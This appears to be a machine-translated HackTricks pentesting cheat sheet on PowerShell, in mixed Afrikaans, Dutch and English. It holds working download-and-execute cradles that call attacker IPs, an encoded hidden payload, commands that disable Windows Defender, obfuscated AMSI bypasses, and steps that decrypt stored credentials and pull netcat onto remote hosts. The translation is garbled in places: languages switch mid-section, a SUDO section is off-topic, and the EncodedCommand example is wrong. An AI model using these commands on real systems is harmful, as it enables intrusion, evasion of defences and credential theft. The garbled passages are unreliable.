.. | ||
powerview.md | ||
README.md |
Basiese PowerShell vir Pentesters
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacking-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslagplekke.
Verstek PowerShell-plekke
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
Basiese PS-opdragte om te begin
Hier is 'n paar basiese PowerShell-opdragte om jou op pad te help:
1. Get-Process
Hierdie opdrag gee 'n lys van alle aktiewe prosesse op die stelsel.
2. Get-Service
Hierdie opdrag gee 'n lys van alle dienste wat op die stelsel hardloop.
3. Get-EventLog
Hierdie opdrag gee toegang tot die gebeurtenisjoernaal van die stelsel en toon inligting oor gebeure wat plaasgevind het.
4. Get-WmiObject
Hierdie opdrag gee toegang tot die Windows-beheerinstrumentasie (WMI) en maak dit moontlik om inligting oor verskeie stelselkomponente te bekom.
5. Get-ChildItem
Hierdie opdrag gee 'n lys van alle lêers en mappe in 'n spesifieke gids.
6. Set-ExecutionPolicy
Hierdie opdrag stel die uitvoeringsbeleid van PowerShell in. Dit beheer die vlak van beperking op die uitvoering van skrips.
7. Invoke-WebRequest
Hierdie opdrag maak dit moontlik om HTTP-aanvrae te stuur en webinhoud te ontleed.
8. New-Item
Hierdie opdrag skep 'n nuwe lêer of gids in 'n spesifieke gids.
9. Remove-Item
Hierdie opdrag verwyder 'n lêer of gids van die stelsel.
10. Set-ItemProperty
Hierdie opdrag stel die eienskappe van 'n spesifieke lêer of gids in.
Dit is 'n paar van die basiese opdragte wat jy kan gebruik om met PowerShell te begin. Daar is baie meer gevorderde opdragte en tegnieke beskikbaar, maar hierdie lys sal jou help om 'n goeie begin te maak.
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>
Laai af en voer uit
Om uitvoerbare code vanaf een externe locatie te downloaden en uit te voeren, kunt u PowerShell gebruiken. Dit kan handig zijn tijdens een pentest om payloads vanaf een externe server te downloaden en uit te voeren op het doelsysteem.
Hier is een voorbeeld van hoe u dit kunt doen:
$Url = "http://example.com/payload.exe"
$Output = "C:\Temp\payload.exe"
Invoke-WebRequest -Uri $Url -OutFile $Output
Start-Process -FilePath $Output
In dit voorbeeld wordt de Invoke-WebRequest
cmdlet gebruikt om de payload vanaf de opgegeven URL te downloaden en op te slaan op de opgegeven locatie. Vervolgens wordt de Start-Process
cmdlet gebruikt om de gedownloade payload uit te voeren.
Zorg ervoor dat u de URL en het uitvoerpad aanpast aan uw specifieke situatie. Houd er ook rekening mee dat het uitvoeren van externe code risico's met zich meebrengt en alleen moet worden uitgevoerd op systemen die u legitiem beheert of tijdens geautoriseerde pentestactiviteiten.
g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
Laai af en voer uit in die agtergrond met AMSI-omseiling
Hierdie tegniek maak gebruik van PowerShell om 'n skadelike skrif vanaf 'n afgeleë bediener af te laai en uit te voer in die agtergrond. Dit maak gebruik van 'n omseilingstegniek genaamd AMSI-omseiling om die Anti-Malware Scan Interface (AMSI) te omseil, wat normaalweg PowerShell-skripte sal skandeer vir skadelike inhoud.
Stap 1: Skakel uitvoering van onbekende skripte in
Voordat ons begin, moet ons die uitvoering van onbekende skripte in PowerShell toelaat. Dit kan gedoen word deur die volgende opdrag uit te voer:
Set-ExecutionPolicy Bypass -Scope Process -Force
Stap 2: Laai die skadelike skrif af
Ons kan die skadelike skrif vanaf 'n afgeleë bediener af laai deur die volgende opdrag uit te voer:
$webClient = New-Object System.Net.WebClient
$url = "http://example.com/malicious_script.ps1"
$file = "C:\Temp\malicious_script.ps1"
$webClient.DownloadFile($url, $file)
Vervang die URL met die URL van die skadelike skrif wat jy wil af laai, en vervang die lêernaam en pad met die plek waar jy die skadelike skrif wil stoor.
Stap 3: Voer die skadelike skrif uit in die agtergrond
Om die skadelike skrif in die agtergrond uit te voer, kan ons die volgende opdrag gebruik:
$bytes = [System.IO.File]::ReadAllBytes("C:\Temp\malicious_script.ps1")
$encodedCommand = [System.Convert]::ToBase64String($bytes)
$encodedCommand | powershell.exe -ExecutionPolicy Bypass -NoProfile -EncodedCommand -
Hierdie opdrag sal die skadelike skrif in die agtergrond uitvoer sonder om 'n opdragvenster te open. Dit maak gebruik van die Base64-gekoderde weergawe van die skadelike skrif om die AMSI-omseiling te bewerkstellig.
Onthou om die lêernaam en pad in die opdrag te vervang met die korrekte lêernaam en pad van die skadelike skrif wat jy wil uitvoer.
Met hierdie tegniek kan jy 'n skadelike skrif vanaf 'n afgeleë bediener af laai en uitvoer in die agtergrond, terwyl jy die AMSI-omseiling gebruik om die skadelike inhoud te verberg.
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
Gebruik van b64 vanaf Linux
Om base64-codering te gebruiken vanaf een Linux-systeem, kunt u de volgende opdracht gebruiken:
echo -n "tekst" | base64
Hierbij wordt de tekst "tekst" gecodeerd met base64. Het -n
vlaggetje zorgt ervoor dat er geen nieuwe regel wordt toegevoegd aan de uitvoer.
Om een base64-gecodeerde string te decoderen, kunt u de volgende opdracht gebruiken:
echo -n "base64-gecodeerde-string" | base64 -d
Hierbij wordt de base64-gecodeerde string gedecodeerd en wordt de oorspronkelijke tekst weergegeven.
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
Aflaai
System.Net.WebClient
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest
Invoke-WebRequest
is 'n PowerShell cmdlet wat gebruik word om HTTP- en HTTPS-aanvrae te maak na 'n webbediener en die inhoud van die webbladsy te ontleed. Dit kan gebruik word deur pentesters om webtoepassings te ondersoek en te toets vir sekuriteitskwessies.
Hier is 'n voorbeeld van hoe om Invoke-WebRequest
te gebruik om 'n HTTP-aanvraag te maak en die inhoud van die webbladsy te ontleed:
$response = Invoke-WebRequest -Uri "https://www.example.com"
$response.Content
In hierdie voorbeeld maak ons 'n HTTP-aanvraag na die webbladsy https://www.example.com
en stoor die respons in die $response
-veranderlike. Ons kan dan die inhoud van die webbladsy ontleed deur die $response.Content
-eienskap te gebruik.
Invoke-WebRequest
bied ook verskeie opsies en parameters om die aanvraag aan te pas, soos die gebruik van 'n spesifieke HTTP-metode, die stuur van koppelvlakparameters, die instel van 'n gebruikersagent, en nog baie meer. Deur hierdie opsies te gebruik, kan pentesters spesifieke aanvrae maak en die respons ontleed vir verdere analise en toetsing.
Dit is belangrik om te onthou dat die gebruik van Invoke-WebRequest
vir enige doeleindes buite wettige en etiese hacking-aktiwiteite onwettig is.
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
Wget
Wget is 'n nuttige hulpmiddel wat gebruik kan word om lêers van die internet af te laai. Dit kan gebruik word om enige tipe lêer, soos tekslêers, beelde, programme en selfs hele webwerwe, af te laai. Dit is 'n kragtige hulpmiddel wat dikwels deur pentesters gebruik word om inhoud van webwerwe te ondersoek en te analiseer. Wget kan ook gebruik word om lêers vanaf 'n afgeleë bediener na jou eie masjien te trek. Dit is 'n baie nuttige hulpmiddel om te hê as jy toegang het tot 'n masjien wat nie oor 'n grafiese gebruikerskoppelvlak beskik nie.
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
BitsOordrag
BitsTransfer is 'n tegnologie wat deur Windows gebruik word om lêers oor 'n netwerk oor te dra. Dit maak gebruik van die Background Intelligent Transfer Service (BITS) om die oordrag van lêers te fasiliteer. Hierdie tegnologie kan deur pentesters gebruik word om lêers vanaf 'n aangetaste stelsel af te laai of om lêers na 'n aangetaste stelsel oor te dra.
BitsTransfer Gebruik
Om BitsTransfer te gebruik, kan jy die Start-BitsTransfer
cmdlet in PowerShell gebruik. Hier is 'n voorbeeld van hoe om dit te gebruik om 'n lêer af te laai:
Start-BitsTransfer -Source http://example.com/file.exe -Destination C:\path\to\save\file.exe
In hierdie voorbeeld sal die lêer file.exe
vanaf die URL http://example.com/file.exe
afgelaai word en gestoor word by die pad C:\path\to\save\file.exe
op die plaaslike stelsel.
BitsTransfer Versteekte Funksies
BitsTransfer het 'n paar versteekte funksies wat nuttig kan wees vir pentesters. Hier is 'n paar voorbeelde:
-
Aanvraag Prioriteit: Jy kan die prioriteit van die oordrag aanpas deur die
-Priority
parameter te gebruik. Die moontlike waardes sluit inForeground
,High
,Normal
,Low
enBackground
. -
Hervat Oordrag: As 'n oordrag onderbreek word, kan jy dit hervat deur die
-Resume
parameter te gebruik. Dit sal die oordrag voortgesit waar dit gestop het. -
Agtergrond Oordrag: Jy kan die oordrag in die agtergrond laat plaas deur die
-Asynchronous
parameter te gebruik. Hierdie funksie maak dit moontlik om ander take uit te voer terwyl die oordrag aan die gang is. -
Oordrag Voortgang: Jy kan die voortgang van die oordrag monitor deur die
-AsJob
parameter te gebruik. Dit sal 'n taak skep wat die voortgang van die oordrag aandui.
BitsTransfer Beperkings
Daar is 'n paar beperkings wat jy in gedagte moet hou wanneer jy BitsTransfer gebruik:
-
Firewall Beperkings: As die aangetaste stelsel deur 'n firewall beskerm word, moet jy verseker dat die nodige poorte oop is om BitsTransfer toe te laat.
-
Toegangsbeperkings: Jy moet die nodige toegangsregte hê om lêers af te laai of oor te dra. As jy nie die nodige regte het nie, sal die oordrag misluk.
-
Netwerkverbindings: BitsTransfer vereis 'n werkende netwerkverbinding om te kan funksioneer. As die netwerkverbinding onderbreek word, sal die oordrag ook onderbreek word.
BitsTransfer Alternatiewe
As BitsTransfer nie beskikbaar is nie, kan jy oorweeg om ander tegnieke te gebruik, soos die Invoke-WebRequest
cmdlet of die wget
hulpprogram. Hierdie tegnieke kan ook gebruik word om lêers oor te dra of af te laai.
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
Base64 Kali & EncodedCommand
Base64 Kali
In Kali Linux, you can use the base64
command to encode and decode data in Base64 format. Base64 encoding is commonly used in various scenarios, such as encoding binary data for transmission over text-based protocols or embedding data in URLs.
To encode a file using Base64 in Kali Linux, you can use the following command:
base64 <file> > <output_file>
Replace <file>
with the path to the file you want to encode, and <output_file>
with the desired name for the encoded file.
To decode a Base64-encoded file in Kali Linux, you can use the following command:
base64 -d <encoded_file> > <output_file>
Replace <encoded_file>
with the path to the Base64-encoded file, and <output_file>
with the desired name for the decoded file.
EncodedCommand
In PowerShell, the EncodedCommand
parameter allows you to run a command that has been encoded in Base64 format. This can be useful in scenarios where you want to obfuscate the command and bypass certain security measures.
To use the EncodedCommand
parameter in PowerShell, you can use the following syntax:
powershell.exe -EncodedCommand <base64_encoded_command>
Replace <base64_encoded_command>
with the Base64-encoded command you want to run.
For example, if you want to run the command Get-Process
, you can encode it in Base64 and use the EncodedCommand
parameter as follows:
powershell.exe -EncodedCommand R0VUIC1Qcm9jZXNz
This will execute the Get-Process
command in PowerShell.
Remember to encode the command using a tool like base64
before using it with the EncodedCommand
parameter.
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>
Uitvoeringsbeleid
Beperkte taal
AppLocker-beleid
Skakel WinRM (Remote PS) in
enable-psremoting -force #This enables winrm
# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator
Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}
Deaktiveer Verdediger
{% code overflow="wrap" %}
# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)
# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0
{% endcode %}
AMSI deurloop
amsi.dll
word gelaai in jou proses en het die nodige uitvoere vir enige toepassing om mee te kommunikeer. En omdat dit in die geheue van 'n proses gelaai word wat jy beheer, kan jy sy gedrag verander deur instruksies in die geheue te oorwrit. Dit maak dit nutteloos om enige iets op te spoor.
Daarom is die doel van die AMSI deurloop om die instruksies van daardie DLL in die geheue te oorwrit sodat die opsporing nutteloos word.
Webblad vir die generering van AMSI deurloop: https://amsi.fail/
# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)
# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)
# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/
# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass
# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html
AMSI Omspring 2 - Bestuurde API-Oproep Hooking
Kyk hierdie pos vir gedetailleerde inligting en die kode. Inleiding:
Hierdie nuwe tegniek steun op API-oproep hooking van .NET-metodes. Dit blyk dat .NET-metodes moet kompilasie word na inheemse masjieninstruksies in die geheue, wat baie soortgelyk lyk aan inheemse metodes. Hierdie gekompileerde metodes kan gehook word om die beheervloei van 'n program te verander.
Die stappe om API-oproep hooking van .NET-metodes uit te voer, is as volg:
- Identifiseer die teikenmetode om te hook
- Definieer 'n metode met dieselfde funksieprototipe as die teiken
- Gebruik refleksie om die metodes te vind
- Verseker dat elke metode gekompileer is
- Vind die ligging van elke metode in die geheue
- Skryf die teikenmetode oor met instruksies wat na ons skadelike metode verwys
AMSI Omspring 3 - SeDebug Voorreg
Deur hierdie gids en kode te volg kan jy sien hoe jy met genoeg voorregte om prosesse te ontleed, 'n powershell.exe-proses kan skep, dit kan ontleed, monitor wanneer dit amsi.dll
laai en dit kan deaktiveer.
AMSI Omspring - Meer Hulpbronne
PS-Geskiedenis
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
Vind nuwer lêers
Opsies: CreationTime
, CreationTimeUtc
, LastAccessTime
, LastAccessTimeUtc
, LastWriteTime
, LastWriteTimeUtc
# LastAccessTime:
(gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName
# LastWriteTime:
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName
Kry toestemmings
Om toestemmings van bestande en mappe te kry, kan jy die volgende PowerShell-opdrag gebruik:
Get-Acl -Path C:\Path\to\file.txt
Hierdie opdrag sal die toestemmings van die gespesifiseerde lêer of map inligting gee.
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
Bedryfstelsel weergawe en HotFixes
Om die weergawe van die bedryfstelsel en die geïnstalleerde HotFixes in Windows te bepaal, kan jy die volgende PowerShell-opdrag gebruik:
(Get-WmiObject -Class Win32_OperatingSystem).Caption
Get-HotFix
Die eerste opdrag sal die weergawe van die bedryfstelsel toon, terwyl die tweede opdrag 'n lys van geïnstalleerde HotFixes sal gee.
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Omgewing
Introduction
Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value
Ander gekoppelde aandrywings
When conducting a penetration test on a Windows system, it is important to identify and explore any connected drives. These drives may contain valuable information or provide additional attack vectors. In this section, we will discuss how to identify and access other connected drives using PowerShell.
Identifying connected drives
To identify the connected drives on a Windows system, we can use the Get-PSDrive
cmdlet in PowerShell. This cmdlet retrieves information about the drives available on the system, including local drives, network drives, and other types of drives.
To list all the connected drives, open a PowerShell session and run the following command:
Get-PSDrive
This will display a list of drives along with their names, types, and other relevant information.
Accessing connected drives
Once we have identified the connected drives, we can access them using the appropriate drive letter or UNC path. To access a drive, we can use the Set-Location
cmdlet in PowerShell.
To access a drive by its letter, use the following command:
Set-Location -Path <drive letter>:
For example, to access the D:
drive, run the following command:
Set-Location -Path D:
To access a drive using its UNC path, use the following command:
Set-Location -Path \\server\share
Replace server
with the name of the server and share
with the name of the shared folder.
Once we have accessed a connected drive, we can navigate through its directories and perform various operations, such as listing files, copying files, or executing scripts.
Conclusion
Identifying and accessing other connected drives is an important step in a penetration test. By exploring these drives, we can discover additional attack vectors and potentially find valuable information. PowerShell provides convenient cmdlets to help us accomplish this task efficiently.
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
Herwinbak
Die herwinbak is 'n funksie in Windows wat gebruik word om verwyderde lêers en dokumente te stoor voordat hulle permanent uit die stelsel verwyder word. Dit bied 'n veiligheidsmeganisme vir die geval dat 'n gebruiker 'n lêer per ongeluk verwyder en dit later wil herstel.
Die herwinbak kan egter 'n potensiële bron van inligting wees vir 'n aanvaller. As 'n aanvaller toegang tot 'n rekenaar verkry, kan hy of sy die herwinbak ondersoek om moontlike inligting te vind. Hierdie inligting kan insluit persoonlike dokumente, wagwoorde, e-posse en ander gevoelige inligting.
Daar is verskeie tegnieke wat 'n aanvaller kan gebruik om toegang tot die herwinbak te verkry en die inligting daarin te ondersoek. Dit sluit in die gebruik van PowerShell-opdragte om die inhoud van die herwinbak te sien, die herwinbak te omseil deur die lêers direk te herstel, of die herwinbak te omseil deur die lêers te herstel na 'n ander plek op die stelsel.
Dit is belangrik vir Windows-gebruikers om bewus te wees van die potensiële risiko's wat die herwinbak kan inhou en om toepaslike maatreëls te tref om die inligting in die herwinbak te beskerm. Dit sluit in die gebruik van sterk wagwoorde, die versleuteling van gevoelige dokumente en die gereelde skoonmaak van die herwinbak om die blootstelling van inligting te verminder.
$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()
https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/
Domein Verkenning
{% content-ref url="powerview.md" %} powerview.md {% endcontent-ref %}
Gebruikers
Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name
Veilige String na Plattekste
Om 'n veilige string na plattekste te omskep, kan die volgende PowerShell-kode gebruik word:
$SecureString = ConvertTo-SecureString -String "VeiligeWagwoord" -AsPlainText -Force
$PlainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecureString))
Hierdie kode skep 'n veilige string met die wagwoord "VeiligeWagwoord" en omskep dit na plattekste. Die resulterende plattekste wagwoord word in die $PlainText
veranderlike gestoor.
Dit is belangrik om te onthou dat die omskakeling van 'n veilige string na plattekste die wagwoord kwesbaar maak vir aanvalle. Dit moet slegs gedoen word as dit nodig is en moet met sorg hanteer word.
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
Of direk van XML ontleding:
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
SUDO
SUDO is 'n nuttige hulpmiddel wat in Linux-stelsels gebruik word om gebruikers die nodig is om spesifieke take uit te voer, tye te gee. Hierdie hulpmiddel gee gebruikers die vermoë om as 'n ander gebruiker uit te voer, soos die root-gebruiker, sonder om die wagwoord van daardie gebruiker te ken. Dit is 'n kragtige funksie, maar dit moet met omsigtigheid gebruik word, aangesien dit 'n potensiële veiligheidsrisiko kan skep.
Om SUDO te gebruik, moet jy die sudo
sleutelwoord voorafgaan aan die opdrag wat jy wil uitvoer. Byvoorbeeld, as jy 'n opdrag wil uitvoer as die root-gebruiker, sal jy die volgende sintaks gebruik:
sudo opdrag
Jy sal dan gevra word om jou eie wagwoord in te voer om jou identiteit te bevestig voordat die opdrag uitgevoer word. As jou gebruikersrekening geag word om SUDO-voorregte te hê, sal die opdrag suksesvol uitgevoer word.
Dit is belangrik om te onthou dat SUDO-voorregte slegs aan spesifieke gebruikersrekeninge toegestaan moet word en slegs vir die nodige take. Dit is ook raadsaam om die gebruik van SUDO te monitor en te log om enige potensiële misbruik of verdagte aktiwiteit te identifiseer.
SUDO is 'n nuttige hulpmiddel vir die uitvoer van gepriviligeerde take in Linux-stelsels, maar dit moet met sorg gebruik word om die veiligheid van die stelsel te handhaaf.
#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
#For local:
Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'
#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
Groepe
Groups in Windows are used to organize and manage user accounts and computer resources. They provide a way to assign permissions and access rights to multiple users or objects at once. In this section, we will explore some basic PowerShell commands to work with groups.
Get-LocalGroup
The Get-LocalGroup
command is used to retrieve information about local groups on a Windows system. It can be used to list all the local groups or to get detailed information about a specific group.
Get-LocalGroup
Get-LocalGroup -Name "Administrators"
New-LocalGroup
The New-LocalGroup
command is used to create a new local group on a Windows system. You can specify the name and description of the group using the -Name
and -Description
parameters.
New-LocalGroup -Name "TestGroup" -Description "This is a test group"
Add-LocalGroupMember
